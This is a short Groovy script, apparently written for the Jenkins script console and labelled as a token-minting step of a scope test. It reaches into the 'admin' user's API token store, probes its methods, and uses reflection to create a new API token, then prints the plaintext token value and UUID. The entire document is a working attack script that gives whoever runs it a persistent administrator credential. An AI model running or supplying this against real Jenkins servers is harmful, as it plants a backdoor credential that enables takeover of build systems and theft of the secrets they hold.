import jenkins.model.Jenkins
import jenkins.security.ApiTokenProperty
import jenkins.security.apitoken.*

println "=====L3_4_MINT_API_TOKEN_V4====="
try {
  def adminUser = Jenkins.instance.getUser("admin")
  def prop = adminUser.getProperty(ApiTokenProperty)
  def store = prop.getTokenStore()
  println "store_class: ${store.class.name}"

  // Enumerate store methods matching 'token'
  println "store_methods:"
  store.class.methods.each { m ->
    if (m.name.toLowerCase().contains("token") || m.name.toLowerCase().contains("add") || m.name.toLowerCase().contains("generate") || m.name.toLowerCase().contains("create")) {
      println "  ${m.name}(${m.parameterTypes*.simpleName.join(',')}) -> ${m.returnType.simpleName}"
    }
  }

  // Try instance call with reflection
  try {
    def m = store.class.getMethod("generateNewToken", java.lang.String.class)
    println "found_method: ${m}"
    def result = m.invoke(store, "scope-test-2026-09-29")
    println "TOKEN_MINTED: YES"
    println "TOKEN_VALUE: ${result.plainValue}"
    println "TOKEN_UUID: ${result.token.uuid}"
  } catch(NoSuchMethodException nsme) {
    println "no generateNewToken(String) on instance"
    // Try addNewToken
    try {
      def m2 = store.class.getMethod("addNewToken", java.lang.String.class)
      def result = m2.invoke(store, "scope-test-2026-09-29")
      println "TOKEN_MINTED: YES (addNewToken)"
      println "TOKEN_VALUE: ${result.plainValue}"
      println "TOKEN_UUID: ${result.token.uuid}"
    } catch(Exception e2) {
      println "addNewToken_err: ${e2.message}"
    }
  }
} catch(Exception e) {
  println "ERR: ${e.class.name}: ${e.message}"
}
println "=====DONE====="
